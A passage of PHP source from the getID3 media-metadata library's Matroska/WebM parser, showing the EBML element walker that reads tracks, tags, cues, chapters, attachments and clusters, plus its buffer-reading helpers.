								if (!empty($getid3_temp->info['ogg']['bitrate_nominal'])) {
									$track_info['bitrate'] = $getid3_temp->info['ogg']['bitrate_nominal'];
								}
								unset($getid3_temp, $getid3_ogg, $oggpageinfo, $vorbis_offset);
								break;

							case 'A_MS/ACM':
								getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true);

								$parsed = getid3_riff::parseWAVEFORMATex($trackarray['CodecPrivate']);
								foreach ($parsed as $sub_key => $value) {
									if ($sub_key != 'raw') {
										$track_info[$sub_key] = $value;
									}
								}
								$info['matroska']['track_codec_parsed'][$trackarray['TrackNumber']] = $parsed;
								break;

							default:
								$this->warning('Unhandled audio type "'.(isset($trackarray['CodecID']) ? $trackarray['CodecID'] : '').'"');
								break;
						}

						$info['audio']['streams'][$trackarray['TrackUID']] = $track_info;
						break;
				}
			}

			if (!empty($info['video']['streams'])) {
				$info['video'] = self::getDefaultStreamInfo($info['video']['streams']);
			}
			if (!empty($info['audio']['streams'])) {
				$info['audio'] = self::getDefaultStreamInfo($info['audio']['streams']);
			}
		}

		// process attachments
		if (isset($info['matroska']['attachments']) && $this->getid3->option_save_attachments !== getID3::ATTACHMENTS_NONE) {
			foreach ($info['matroska']['attachments'] as $i => $entry) {
				if (strpos($entry['FileMimeType'], 'image/') === 0 && !empty($entry['FileData'])) {
					$info['matroska']['comments']['picture'][] = array('data' => $entry['FileData'], 'image_mime' => $entry['FileMimeType'], 'filename' => $entry['FileName']);
				}
			}
		}

		// determine mime type
		if (!empty($info['video']['streams'])) {
			$info['mime_type'] = ($info['matroska']['doctype'] == 'webm' ? 'video/webm' : 'video/x-matroska');
		} elseif (!empty($info['audio']['streams'])) {
			$info['mime_type'] = ($info['matroska']['doctype'] == 'webm' ? 'audio/webm' : 'audio/x-matroska');
		} elseif (isset($info['mime_type'])) {
			unset($info['mime_type']);
		}

		// use _STATISTICS_TAGS if available to set audio/video bitrates
		if (!empty($info['matroska']['tags'])) {
			$_STATISTICS_byTrackUID = array();
			foreach ($info['matroska']['tags'] as $key1 => $value1) {
				if (!empty($value1['Targets']['TagTrackUID'][0]) && !empty($value1['SimpleTag'])) {
					foreach ($value1['SimpleTag'] as $key2 => $value2) {
						if (!empty($value2['TagName']) && isset($value2['TagString'])) {
							$_STATISTICS_byTrackUID[$value1['Targets']['TagTrackUID'][0]][$value2['TagName']] = $value2['TagString'];
						}
					}
				}
			}
			foreach (array('audio','video') as $avtype) {
				if (!empty($info[$avtype]['streams'])) {
					foreach ($info[$avtype]['streams'] as $trackUID => $trackdata) {
						if (!isset($trackdata['bitrate']) && !empty($_STATISTICS_byTrackUID[$trackUID]['BPS'])) {
							$info[$avtype]['streams'][$trackUID]['bitrate'] = (int) $_STATISTICS_byTrackUID[$trackUID]['BPS'];
							@$info[$avtype]['bitrate'] += $info[$avtype]['streams'][$trackUID]['bitrate'];
						}
					}
				}
			}
		}

		return true;
	}

	/**
	 * @param array $info
	 */
	private function parseEBML(&$info) {
		// http://www.matroska.org/technical/specs/index.html#EBMLBasics
		$this->current_offset = $info['avdataoffset'];

		while ($this->getEBMLelement($top_element, $info['avdataend'])) {
			switch ($top_element['id']) {

				case EBML_ID_EBML:
					$info['matroska']['header']['offset'] = $top_element['offset'];
					$info['matroska']['header']['length'] = $top_element['length'];

					while ($this->getEBMLelement($element_data, $top_element['end'], true)) {
						switch ($element_data['id']) {

							case EBML_ID_EBMLVERSION:
							case EBML_ID_EBMLREADVERSION:
							case EBML_ID_EBMLMAXIDLENGTH:
							case EBML_ID_EBMLMAXSIZELENGTH:
							case EBML_ID_DOCTYPEVERSION:
							case EBML_ID_DOCTYPEREADVERSION:
								$element_data['data'] = getid3_lib::BigEndian2Int($element_data['data']);
								break;

							case EBML_ID_DOCTYPE:
								$element_data['data'] = getid3_lib::trimNullByte($element_data['data']);
								$info['matroska']['doctype'] = $element_data['data'];
								$info['fileformat'] = $element_data['data'];
								break;

							default:
								$this->unhandledElement('header', __LINE__, $element_data);
								break;
						}

						unset($element_data['offset'], $element_data['end']);
						$info['matroska']['header']['elements'][] = $element_data;
					}
					break;

				case EBML_ID_SEGMENT:
					$info['matroska']['segment'][0]['offset'] = $top_element['offset'];
					$info['matroska']['segment'][0]['length'] = $top_element['length'];

					while ($this->getEBMLelement($element_data, $top_element['end'])) {
						if ($element_data['id'] != EBML_ID_CLUSTER || !$this->hide_clusters) { // collect clusters only if required
							$info['matroska']['segments'][] = $element_data;
						}
						switch ($element_data['id']) {

							case EBML_ID_SEEKHEAD: // Contains the position of other level 1 elements.

								while ($this->getEBMLelement($seek_entry, $element_data['end'])) {
									switch ($seek_entry['id']) {

										case EBML_ID_SEEK: // Contains a single seek entry to an EBML element
											while ($this->getEBMLelement($sub_seek_entry, $seek_entry['end'], true)) {

												switch ($sub_seek_entry['id']) {

													case EBML_ID_SEEKID:
														$seek_entry['target_id']   = self::EBML2Int($sub_seek_entry['data']);
														$seek_entry['target_name'] = self::EBMLidName($seek_entry['target_id']);
														break;

													case EBML_ID_SEEKPOSITION:
														$seek_entry['target_offset'] = $element_data['offset'] + getid3_lib::BigEndian2Int($sub_seek_entry['data']);
														break;

													default:
														$this->unhandledElement('seekhead.seek', __LINE__, $sub_seek_entry);												}
														break;
											}
											if (!isset($seek_entry['target_id'])) {
												$this->warning('seek_entry[target_id] unexpectedly not set at '.$seek_entry['offset']);
												break;
											}
											if (($seek_entry['target_id'] != EBML_ID_CLUSTER) || !$this->hide_clusters) { // collect clusters only if required
												$info['matroska']['seek'][] = $seek_entry;
											}
											break;

										default:
											$this->unhandledElement('seekhead', __LINE__, $seek_entry);
											break;
									}
								}
								break;

							case EBML_ID_TRACKS: // A top-level block of information with many tracks described.
								$info['matroska']['tracks'] = $element_data;

								while ($this->getEBMLelement($track_entry, $element_data['end'])) {
									switch ($track_entry['id']) {

										case EBML_ID_TRACKENTRY: //subelements: Describes a track with all elements.

											while ($this->getEBMLelement($subelement, $track_entry['end'], array(EBML_ID_VIDEO, EBML_ID_AUDIO, EBML_ID_CONTENTENCODINGS, EBML_ID_CODECPRIVATE))) {
												switch ($subelement['id']) {

													case EBML_ID_TRACKUID:
														$track_entry[$subelement['id_name']] = getid3_lib::PrintHexBytes($subelement['data'], true, false);
														break;
													case EBML_ID_TRACKNUMBER:
													case EBML_ID_TRACKTYPE:
													case EBML_ID_MINCACHE:
													case EBML_ID_MAXCACHE:
													case EBML_ID_MAXBLOCKADDITIONID:
													case EBML_ID_DEFAULTDURATION: // nanoseconds per frame
														$track_entry[$subelement['id_name']] = getid3_lib::BigEndian2Int($subelement['data']);
														break;

													case EBML_ID_TRACKTIMECODESCALE:
														$track_entry[$subelement['id_name']] = getid3_lib::BigEndian2Float($subelement['data']);
														break;

													case EBML_ID_CODECID:
													case EBML_ID_LANGUAGE:
													case EBML_ID_NAME:
													case EBML_ID_CODECNAME:
														$track_entry[$subelement['id_name']] = getid3_lib::trimNullByte($subelement['data']);
														break;

													case EBML_ID_CODECPRIVATE:
														$track_entry[$subelement['id_name']] = $this->readEBMLelementData($subelement['length'], true);
														break;

													case EBML_ID_FLAGENABLED:
													case EBML_ID_FLAGDEFAULT:
													case EBML_ID_FLAGFORCED:
													case EBML_ID_FLAGLACING:
													case EBML_ID_CODECDECODEALL:
														$track_entry[$subelement['id_name']] = (bool) getid3_lib::BigEndian2Int($subelement['data']);
														break;

													case EBML_ID_VIDEO:

														while ($this->getEBMLelement($sub_subelement, $subelement['end'], true)) {
															switch ($sub_subelement['id']) {

																case EBML_ID_PIXELWIDTH:
																case EBML_ID_PIXELHEIGHT:
																case EBML_ID_PIXELCROPBOTTOM:
																case EBML_ID_PIXELCROPTOP:
																case EBML_ID_PIXELCROPLEFT:
																case EBML_ID_PIXELCROPRIGHT:
																case EBML_ID_DISPLAYWIDTH:
																case EBML_ID_DISPLAYHEIGHT:
																case EBML_ID_DISPLAYUNIT:
																case EBML_ID_ASPECTRATIOTYPE:
																case EBML_ID_STEREOMODE:
																case EBML_ID_OLDSTEREOMODE:
																	$track_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
																	break;

																case EBML_ID_FLAGINTERLACED:
																	$track_entry[$sub_subelement['id_name']] = (bool)getid3_lib::BigEndian2Int($sub_subelement['data']);
																	break;

																case EBML_ID_GAMMAVALUE:
																	$track_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Float($sub_subelement['data']);
																	break;

																case EBML_ID_COLOURSPACE:
																	$track_entry[$sub_subelement['id_name']] = getid3_lib::trimNullByte($sub_subelement['data']);
																	break;

																default:
																	$this->unhandledElement('track.video', __LINE__, $sub_subelement);
																	break;
															}
														}
														break;

													case EBML_ID_AUDIO:

														while ($this->getEBMLelement($sub_subelement, $subelement['end'], true)) {
															switch ($sub_subelement['id']) {

																case EBML_ID_CHANNELS:
																case EBML_ID_BITDEPTH:
																	$track_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
																	break;

																case EBML_ID_SAMPLINGFREQUENCY:
																case EBML_ID_OUTPUTSAMPLINGFREQUENCY:
																	$track_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Float($sub_subelement['data']);
																	break;

																case EBML_ID_CHANNELPOSITIONS:
																	$track_entry[$sub_subelement['id_name']] = getid3_lib::trimNullByte($sub_subelement['data']);
																	break;

																default:
																	$this->unhandledElement('track.audio', __LINE__, $sub_subelement);
																	break;
															}
														}
														break;

													case EBML_ID_CONTENTENCODINGS:

														while ($this->getEBMLelement($sub_subelement, $subelement['end'])) {
															switch ($sub_subelement['id']) {

																case EBML_ID_CONTENTENCODING:

																	while ($this->getEBMLelement($sub_sub_subelement, $sub_subelement['end'], array(EBML_ID_CONTENTCOMPRESSION, EBML_ID_CONTENTENCRYPTION))) {
																		switch ($sub_sub_subelement['id']) {

																			case EBML_ID_CONTENTENCODINGORDER:
																			case EBML_ID_CONTENTENCODINGSCOPE:
																			case EBML_ID_CONTENTENCODINGTYPE:
																				$track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
																				break;

																			case EBML_ID_CONTENTCOMPRESSION:

																				while ($this->getEBMLelement($sub_sub_sub_subelement, $sub_sub_subelement['end'], true)) {
																					switch ($sub_sub_sub_subelement['id']) {

																						case EBML_ID_CONTENTCOMPALGO:
																							$track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']][$sub_sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_sub_subelement['data']);
																							break;

																						case EBML_ID_CONTENTCOMPSETTINGS:
																							$track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']][$sub_sub_sub_subelement['id_name']] = $sub_sub_sub_subelement['data'];
																							break;

																						default:
																							$this->unhandledElement('track.contentencodings.contentencoding.contentcompression', __LINE__, $sub_sub_sub_subelement);
																							break;
																					}
																				}
																				break;

																			case EBML_ID_CONTENTENCRYPTION:

																				while ($this->getEBMLelement($sub_sub_sub_subelement, $sub_sub_subelement['end'], true)) {
																					switch ($sub_sub_sub_subelement['id']) {

																						case EBML_ID_CONTENTENCALGO:
																						case EBML_ID_CONTENTSIGALGO:
																						case EBML_ID_CONTENTSIGHASHALGO:
																							$track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']][$sub_sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_sub_subelement['data']);
																							break;

																						case EBML_ID_CONTENTENCKEYID:
																						case EBML_ID_CONTENTSIGNATURE:
																						case EBML_ID_CONTENTSIGKEYID:
																							$track_entry[$sub_subelement['id_name']][$sub_sub_subelement['id_name']][$sub_sub_sub_subelement['id_name']] = $sub_sub_sub_subelement['data'];
																							break;

																						default:
																							$this->unhandledElement('track.contentencodings.contentencoding.contentcompression', __LINE__, $sub_sub_sub_subelement);
																							break;
																					}
																				}
																				break;

																			default:
																				$this->unhandledElement('track.contentencodings.contentencoding', __LINE__, $sub_sub_subelement);
																				break;
																		}
																	}
																	break;

																default:
																	$this->unhandledElement('track.contentencodings', __LINE__, $sub_subelement);
																	break;
															}
														}
														break;

													default:
														$this->unhandledElement('track', __LINE__, $subelement);
														break;
												}
											}

											$info['matroska']['tracks']['tracks'][] = $track_entry;
											break;

										default:
											$this->unhandledElement('tracks', __LINE__, $track_entry);
											break;
									}
								}
								break;

							case EBML_ID_INFO: // Contains miscellaneous general information and statistics on the file.
								$info_entry = array();

								while ($this->getEBMLelement($subelement, $element_data['end'], true)) {
									switch ($subelement['id']) {

										case EBML_ID_TIMECODESCALE:
											$info_entry[$subelement['id_name']] = getid3_lib::BigEndian2Int($subelement['data']);
											break;

										case EBML_ID_DURATION:
											$info_entry[$subelement['id_name']] = getid3_lib::BigEndian2Float($subelement['data']);
											break;

										case EBML_ID_DATEUTC:
											$info_entry[$subelement['id_name']]         = getid3_lib::BigEndian2Int($subelement['data']);
											$info_entry[$subelement['id_name'].'_unix'] = self::EBMLdate2unix($info_entry[$subelement['id_name']]);
											break;

										case EBML_ID_SEGMENTUID:
										case EBML_ID_PREVUID:
										case EBML_ID_NEXTUID:
											$info_entry[$subelement['id_name']] = getid3_lib::trimNullByte($subelement['data']);
											break;

										case EBML_ID_SEGMENTFAMILY:
											$info_entry[$subelement['id_name']][] = getid3_lib::trimNullByte($subelement['data']);
											break;

										case EBML_ID_SEGMENTFILENAME:
										case EBML_ID_PREVFILENAME:
										case EBML_ID_NEXTFILENAME:
										case EBML_ID_TITLE:
										case EBML_ID_MUXINGAPP:
										case EBML_ID_WRITINGAPP:
											$info_entry[$subelement['id_name']] = getid3_lib::trimNullByte($subelement['data']);
											$info['matroska']['comments'][strtolower($subelement['id_name'])][] = $info_entry[$subelement['id_name']];
											break;

										case EBML_ID_CHAPTERTRANSLATE:
											$chaptertranslate_entry = array();

											while ($this->getEBMLelement($sub_subelement, $subelement['end'], true)) {
												switch ($sub_subelement['id']) {

													case EBML_ID_CHAPTERTRANSLATEEDITIONUID:
														$chaptertranslate_entry[$sub_subelement['id_name']][] = getid3_lib::BigEndian2Int($sub_subelement['data']);
														break;

													case EBML_ID_CHAPTERTRANSLATECODEC:
														$chaptertranslate_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
														break;

													case EBML_ID_CHAPTERTRANSLATEID:
														$chaptertranslate_entry[$sub_subelement['id_name']] = getid3_lib::trimNullByte($sub_subelement['data']);
														break;

													default:
														$this->unhandledElement('info.chaptertranslate', __LINE__, $sub_subelement);
														break;
												}
											}
											$info_entry[$subelement['id_name']] = $chaptertranslate_entry;
											break;

										default:
											$this->unhandledElement('info', __LINE__, $subelement);
											break;
									}
								}
								$info['matroska']['info'][] = $info_entry;
								break;

							case EBML_ID_CUES: // A top-level element to speed seeking access. All entries are local to the segment. Should be mandatory for non "live" streams.
								if ($this->hide_clusters) { // do not parse cues if hide clusters is "ON" till they point to clusters anyway
									$this->current_offset = $element_data['end'];
									break;
								}
								$cues_entry = array();

								while ($this->getEBMLelement($subelement, $element_data['end'])) {
									switch ($subelement['id']) {

										case EBML_ID_CUEPOINT:
											$cuepoint_entry = array();

											while ($this->getEBMLelement($sub_subelement, $subelement['end'], array(EBML_ID_CUETRACKPOSITIONS))) {
												switch ($sub_subelement['id']) {

													case EBML_ID_CUETRACKPOSITIONS:
														$cuetrackpositions_entry = array();

														while ($this->getEBMLelement($sub_sub_subelement, $sub_subelement['end'], true)) {
															switch ($sub_sub_subelement['id']) {

																case EBML_ID_CUETRACK:
																case EBML_ID_CUECLUSTERPOSITION:
																case EBML_ID_CUEBLOCKNUMBER:
																case EBML_ID_CUECODECSTATE:
																	$cuetrackpositions_entry[$sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
																	break;

																default:
																	$this->unhandledElement('cues.cuepoint.cuetrackpositions', __LINE__, $sub_sub_subelement);
																	break;
															}
														}
														$cuepoint_entry[$sub_subelement['id_name']][] = $cuetrackpositions_entry;
														break;

													case EBML_ID_CUETIME:
														$cuepoint_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
														break;

													default:
														$this->unhandledElement('cues.cuepoint', __LINE__, $sub_subelement);
														break;
												}
											}
											$cues_entry[] = $cuepoint_entry;
											break;

										default:
											$this->unhandledElement('cues', __LINE__, $subelement);
											break;
									}
								}
								$info['matroska']['cues'] = $cues_entry;
								break;

							case EBML_ID_TAGS: // Element containing elements specific to Tracks/Chapters.
								$tags_entry = array();

								while ($this->getEBMLelement($subelement, $element_data['end'], false)) {
									switch ($subelement['id']) {

										case EBML_ID_TAG:
											$tag_entry = array();

											while ($this->getEBMLelement($sub_subelement, $subelement['end'], false)) {
												switch ($sub_subelement['id']) {

													case EBML_ID_TARGETS:
														$targets_entry = array();

														while ($this->getEBMLelement($sub_sub_subelement, $sub_subelement['end'], true)) {
															switch ($sub_sub_subelement['id']) {

																case EBML_ID_TARGETTYPEVALUE:
																	$targets_entry[$sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
																	$targets_entry[strtolower($sub_sub_subelement['id_name']).'_long'] = self::TargetTypeValue($targets_entry[$sub_sub_subelement['id_name']]);
																	break;

																case EBML_ID_TARGETTYPE:
																	$targets_entry[$sub_sub_subelement['id_name']] = $sub_sub_subelement['data'];
																	break;

																case EBML_ID_TAGTRACKUID:
																case EBML_ID_TAGEDITIONUID:
																case EBML_ID_TAGCHAPTERUID:
																case EBML_ID_TAGATTACHMENTUID:
																	$targets_entry[$sub_sub_subelement['id_name']][] = getid3_lib::PrintHexBytes($sub_sub_subelement['data'], true, false);
																	break;

																default:
																	$this->unhandledElement('tags.tag.targets', __LINE__, $sub_sub_subelement);
																	break;
															}
														}
														$tag_entry[$sub_subelement['id_name']] = $targets_entry;
														break;

													case EBML_ID_SIMPLETAG:
														$tag_entry[$sub_subelement['id_name']][] = $this->HandleEMBLSimpleTag($sub_subelement['end']);
														break;

													default:
														$this->unhandledElement('tags.tag', __LINE__, $sub_subelement);
														break;
												}
											}
											$tags_entry[] = $tag_entry;
											break;

										default:
											$this->unhandledElement('tags', __LINE__, $subelement);
											break;
									}
								}
								$info['matroska']['tags'] = $tags_entry;
								break;

							case EBML_ID_ATTACHMENTS: // Contain attached files.

								while ($this->getEBMLelement($subelement, $element_data['end'])) {
									switch ($subelement['id']) {

										case EBML_ID_ATTACHEDFILE:
											$attachedfile_entry = array();

											while ($this->getEBMLelement($sub_subelement, $subelement['end'], array(EBML_ID_FILEDATA))) {
												switch ($sub_subelement['id']) {

													case EBML_ID_FILEDESCRIPTION:
													case EBML_ID_FILENAME:
													case EBML_ID_FILEMIMETYPE:
														$attachedfile_entry[$sub_subelement['id_name']] = $sub_subelement['data'];
														break;

													case EBML_ID_FILEDATA:
														$attachedfile_entry['data_offset'] = $this->current_offset;
														$attachedfile_entry['data_length'] = $sub_subelement['length'];

														$attachedfile_entry[$sub_subelement['id_name']] = $this->saveAttachment(
															$attachedfile_entry['FileName'],
															$attachedfile_entry['data_offset'],
															$attachedfile_entry['data_length']);

														$this->current_offset = $sub_subelement['end'];
														break;

													case EBML_ID_FILEUID:
														$attachedfile_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
														break;

													default:
														$this->unhandledElement('attachments.attachedfile', __LINE__, $sub_subelement);
														break;
												}
											}
											$info['matroska']['attachments'][] = $attachedfile_entry;
											break;

										default:
											$this->unhandledElement('attachments', __LINE__, $subelement);
											break;
									}
								}
								break;

							case EBML_ID_CHAPTERS:

								while ($this->getEBMLelement($subelement, $element_data['end'])) {
									switch ($subelement['id']) {

										case EBML_ID_EDITIONENTRY:
											$editionentry_entry = array();

											while ($this->getEBMLelement($sub_subelement, $subelement['end'], array(EBML_ID_CHAPTERATOM))) {
												switch ($sub_subelement['id']) {

													case EBML_ID_EDITIONUID:
														$editionentry_entry[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
														break;

													case EBML_ID_EDITIONFLAGHIDDEN:
													case EBML_ID_EDITIONFLAGDEFAULT:
													case EBML_ID_EDITIONFLAGORDERED:
														$editionentry_entry[$sub_subelement['id_name']] = (bool)getid3_lib::BigEndian2Int($sub_subelement['data']);
														break;

													case EBML_ID_CHAPTERATOM:
														$chapteratom_entry = array();

														while ($this->getEBMLelement($sub_sub_subelement, $sub_subelement['end'], array(EBML_ID_CHAPTERTRACK, EBML_ID_CHAPTERDISPLAY))) {
															switch ($sub_sub_subelement['id']) {

																case EBML_ID_CHAPTERSEGMENTUID:
																case EBML_ID_CHAPTERSEGMENTEDITIONUID:
																	$chapteratom_entry[$sub_sub_subelement['id_name']] = $sub_sub_subelement['data'];
																	break;

																case EBML_ID_CHAPTERFLAGENABLED:
																case EBML_ID_CHAPTERFLAGHIDDEN:
																	$chapteratom_entry[$sub_sub_subelement['id_name']] = (bool)getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
																	break;

																case EBML_ID_CHAPTERUID:
																case EBML_ID_CHAPTERTIMESTART:
																case EBML_ID_CHAPTERTIMEEND:
																	$chapteratom_entry[$sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_subelement['data']);
																	break;

																case EBML_ID_CHAPTERTRACK:
																	$chaptertrack_entry = array();

																	while ($this->getEBMLelement($sub_sub_sub_subelement, $sub_sub_subelement['end'], true)) {
																		switch ($sub_sub_sub_subelement['id']) {

																			case EBML_ID_CHAPTERTRACKNUMBER:
																				$chaptertrack_entry[$sub_sub_sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_sub_sub_subelement['data']);
																				break;

																			default:
																				$this->unhandledElement('chapters.editionentry.chapteratom.chaptertrack', __LINE__, $sub_sub_sub_subelement);
																				break;
																		}
																	}
																	$chapteratom_entry[$sub_sub_subelement['id_name']][] = $chaptertrack_entry;
																	break;

																case EBML_ID_CHAPTERDISPLAY:
																	$chapterdisplay_entry = array();

																	while ($this->getEBMLelement($sub_sub_sub_subelement, $sub_sub_subelement['end'], true)) {
																		switch ($sub_sub_sub_subelement['id']) {

																			case EBML_ID_CHAPSTRING:
																			case EBML_ID_CHAPLANGUAGE:
																			case EBML_ID_CHAPCOUNTRY:
																				$chapterdisplay_entry[$sub_sub_sub_subelement['id_name']] = $sub_sub_sub_subelement['data'];
																				break;

																			default:
																				$this->unhandledElement('chapters.editionentry.chapteratom.chapterdisplay', __LINE__, $sub_sub_sub_subelement);
																				break;
																		}
																	}
																	$chapteratom_entry[$sub_sub_subelement['id_name']][] = $chapterdisplay_entry;
																	break;

																default:
																	$this->unhandledElement('chapters.editionentry.chapteratom', __LINE__, $sub_sub_subelement);
																	break;
															}
														}
														$editionentry_entry[$sub_subelement['id_name']][] = $chapteratom_entry;
														break;

													default:
														$this->unhandledElement('chapters.editionentry', __LINE__, $sub_subelement);
														break;
												}
											}
											$info['matroska']['chapters'][] = $editionentry_entry;
											break;

										default:
											$this->unhandledElement('chapters', __LINE__, $subelement);
											break;
									}
								}
								break;

							case EBML_ID_CLUSTER: // The lower level element containing the (monolithic) Block structure.
								$cluster_entry = array();

								while ($this->getEBMLelement($subelement, $element_data['end'], array(EBML_ID_CLUSTERSILENTTRACKS, EBML_ID_CLUSTERBLOCKGROUP, EBML_ID_CLUSTERSIMPLEBLOCK))) {
									switch ($subelement['id']) {

										case EBML_ID_CLUSTERTIMECODE:
										case EBML_ID_CLUSTERPOSITION:
										case EBML_ID_CLUSTERPREVSIZE:
											$cluster_entry[$subelement['id_name']] = getid3_lib::BigEndian2Int($subelement['data']);
											break;

										case EBML_ID_CLUSTERSILENTTRACKS:
											$cluster_silent_tracks = array();

											while ($this->getEBMLelement($sub_subelement, $subelement['end'], true)) {
												switch ($sub_subelement['id']) {

													case EBML_ID_CLUSTERSILENTTRACKNUMBER:
														$cluster_silent_tracks[] = getid3_lib::BigEndian2Int($sub_subelement['data']);
														break;

													default:
														$this->unhandledElement('cluster.silenttracks', __LINE__, $sub_subelement);
														break;
												}
											}
											$cluster_entry[$subelement['id_name']][] = $cluster_silent_tracks;
											break;

										case EBML_ID_CLUSTERBLOCKGROUP:
											$cluster_block_group = array('offset' => $this->current_offset);

											while ($this->getEBMLelement($sub_subelement, $subelement['end'], array(EBML_ID_CLUSTERBLOCK))) {
												switch ($sub_subelement['id']) {

													case EBML_ID_CLUSTERBLOCK:
														$cluster_block_group[$sub_subelement['id_name']] = $this->HandleEMBLClusterBlock($sub_subelement, EBML_ID_CLUSTERBLOCK, $info);
														break;

													case EBML_ID_CLUSTERREFERENCEPRIORITY: // unsigned-int
													case EBML_ID_CLUSTERBLOCKDURATION:     // unsigned-int
														$cluster_block_group[$sub_subelement['id_name']] = getid3_lib::BigEndian2Int($sub_subelement['data']);
														break;

													case EBML_ID_CLUSTERREFERENCEBLOCK:    // signed-int
														$cluster_block_group[$sub_subelement['id_name']][] = getid3_lib::BigEndian2Int($sub_subelement['data'], false, true);
														break;

													case EBML_ID_CLUSTERCODECSTATE:
														$cluster_block_group[$sub_subelement['id_name']] = getid3_lib::trimNullByte($sub_subelement['data']);
														break;

													default:
														$this->unhandledElement('clusters.blockgroup', __LINE__, $sub_subelement);
														break;
												}
											}
											$cluster_entry[$subelement['id_name']][] = $cluster_block_group;
											break;

										case EBML_ID_CLUSTERSIMPLEBLOCK:
											$cluster_entry[$subelement['id_name']][] = $this->HandleEMBLClusterBlock($subelement, EBML_ID_CLUSTERSIMPLEBLOCK, $info);
											break;

										default:
											$this->unhandledElement('cluster', __LINE__, $subelement);
											break;
									}
									$this->current_offset = $subelement['end'];
								}
								if (!$this->hide_clusters) {
									$info['matroska']['cluster'][] = $cluster_entry;
								}

								// check to see if all the data we need exists already, if so, break out of the loop
								if (!$this->parse_whole_file) {
									if (isset($info['matroska']['info']) && is_array($info['matroska']['info'])) {
										if (isset($info['matroska']['tracks']['tracks']) && is_array($info['matroska']['tracks']['tracks'])) {
											if (count($info['matroska']['track_data_offsets']) == count($info['matroska']['tracks']['tracks'])) {
												return;
											}
										}
									}
								}
								break;

							default:
								$this->unhandledElement('segment', __LINE__, $element_data);
								break;
						}
					}
					break;

				default:
					$this->unhandledElement('root', __LINE__, $top_element);
					break;
			}
		}
	}

	/**
	 * @param int $min_data
	 *
	 * @return bool
	 */
	private function EnsureBufferHasEnoughData($min_data=1024) {
		if (($this->current_offset - $this->EBMLbuffer_offset) >= ($this->EBMLbuffer_length - $min_data)) {
			$read_bytes = max($min_data, $this->getid3->fread_buffer_size());

			try {
				$this->fseek($this->current_offset);
				$this->EBMLbuffer_offset = $this->current_offset;
				$this->EBMLbuffer        = $this->fread($read_bytes);
				$this->EBMLbuffer_length = strlen($this->EBMLbuffer);
			} catch (getid3_exception $e) {
				$this->warning('EBML parser: '.$e->getMessage());
				return false;
			}

			if ($this->EBMLbuffer_length == 0 && $this->feof()) {
				return $this->error('EBML parser: ran out of file at offset '.$this->current_offset);
			}
		}
		return true;
	}

	/**
	 * @return int|float|false
	 */
	private function readEBMLint() {
		$actual_offset = $this->current_offset - $this->EBMLbuffer_offset;

		// get length of integer
		$first_byte_int = ord($this->EBMLbuffer[$actual_offset]);
		if       (0x80 & $first_byte_int) {
			$length = 1;
		} elseif (0x40 & $first_byte_int) {
			$length = 2;
		} elseif (0x20 & $first_byte_int) {
			$length = 3;
		} elseif (0x10 & $first_byte_int) {
			$length = 4;
		} elseif (0x08 & $first_byte_int) {
			$length = 5;
		} elseif (0x04 & $first_byte_int) {
			$length = 6;
		} elseif (0x02 & $first_byte_int) {
			$length = 7;
		} elseif (0x01 & $first_byte_int) {
			$length = 8;
		} else {
			throw new Exception('invalid EBML integer (leading 0x00) at '.$this->current_offset);
		}

		// read
		$int_value = self::EBML2Int(substr($this->EBMLbuffer, $actual_offset, $length));
		$this->current_offset += $length;

		return $int_value;
	}

	/**
	 * @param int  $length
	 * @param bool $check_buffer
	 *
	 * @return string|false
	 */
	private function readEBMLelementData($length, $check_buffer=false) {
		if ($check_buffer && !$this->EnsureBufferHasEnoughData($length)) {
			return false;
		}
		$data = substr($this->EBMLbuffer, $this->current_offset - $this->EBMLbuffer_offset, $length);
		$this->current_offset += $length;
		return $data;
	}

	/**
	 * @param array      $element
	 * @param int        $parent_end
	 * @param array|bool $get_data
	 *
	 * @return bool
	 */
	private function getEBMLelement(&$element, $parent_end, $get_data=false) {
		if ($this->current_offset >= $parent_end) {
			return false;
		}

		if (!$this->EnsureBufferHasEnoughData()) {
			$this->current_offset = PHP_INT_MAX; // do not exit parser right now, allow to finish current loop to gather maximum information
			return false;
		}

		$element = array();

		// set offset
		$element['offset'] = $this->current_offset;

		// get ID
		$element['id'] = $this->readEBMLint();

		// get name
		$element['id_name'] = self::EBMLidName($element['id']);

		// get length
		$element['length'] = $this->readEBMLint();

		// get end offset
		$element['end'] = $this->current_offset + $element['length'];

		// get raw data
		$dont_parse = (in_array($element['id'], $this->unuseful_elements) || $element['id_name'] == dechex($element['id']));
		if (($get_data === true || (is_array($get_data) && !in_array($element['id'], $get_data))) && !$dont_parse) {
			$element['data'] = $this->readEBMLelementData($element['length'], $element);
		}

		return true;
	}

	/**
	 * @param string $type
	 * @param int    $line
	 * @param array  $element
	 */
	private function unhandledElement($type, $line, $element) {
		// warn only about unknown and missed elements, not about unuseful
		if (!in_array($element['id'], $this->unuseful_elements)) {
			$this->warning('Unhandled '.$type.' element ['.basename(__FILE__).':'.$line.'] ('.$element['id'].'::'.$element['id_name'].' ['.$element['length'].' bytes]) at '.$element['offset']);
		}

		// increase offset for unparsed elements
		if (!isset($element['data'])) {
			$this->current_offset = $element['end'];
		}
	}

	/**
	 * @param array $SimpleTagArray
	 *
	 * @return bool
